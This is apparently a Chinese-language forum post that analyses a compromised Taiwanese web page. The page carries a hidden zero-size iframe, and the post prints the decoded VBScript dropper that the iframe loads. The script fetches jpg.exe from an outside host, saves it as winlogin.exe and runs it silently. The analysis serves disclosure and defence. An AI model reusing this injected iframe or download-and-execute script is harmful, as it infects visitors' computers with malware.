http://www.wanluan-lins.com.tw/inside.html
這個網頁指引到一個iframe
iframe name="main" width="591" border="0" frameborder="0" height="395" src="inside.asp"> 這是正常的
問題就在 inside.asp 被加入了這一行
<iframe src="http://che.cycu.edu.tw/mphl/B76504~/comm/UpLoad//home//images2/showtime/jpg.htm" width="0" height="0" frameborder="0"></iframe> 明眼人就知道一定有問題，幹麼沒事建立一個"看不到"的frame？

這個有問題的frame就是：
http://che.cycu.edu.tw/mphl/B76504~...howtime/jpg.htm
其中有一段很機車的var HtmlStrings ，經過 psw()解碼之後，變成

<script language="VBScript">
on error resume next
dl = "http://che.cycu.edu.tw/mphl/B76504/comm/UpLoad//home//images2/showtime/jpg.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="winlogin.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>

所以有問題的檔案就是在jpg.exe。



老實說，這個攻擊很沒有創意....別人都在用ANI Exp了，還在用這種老掉牙的技術....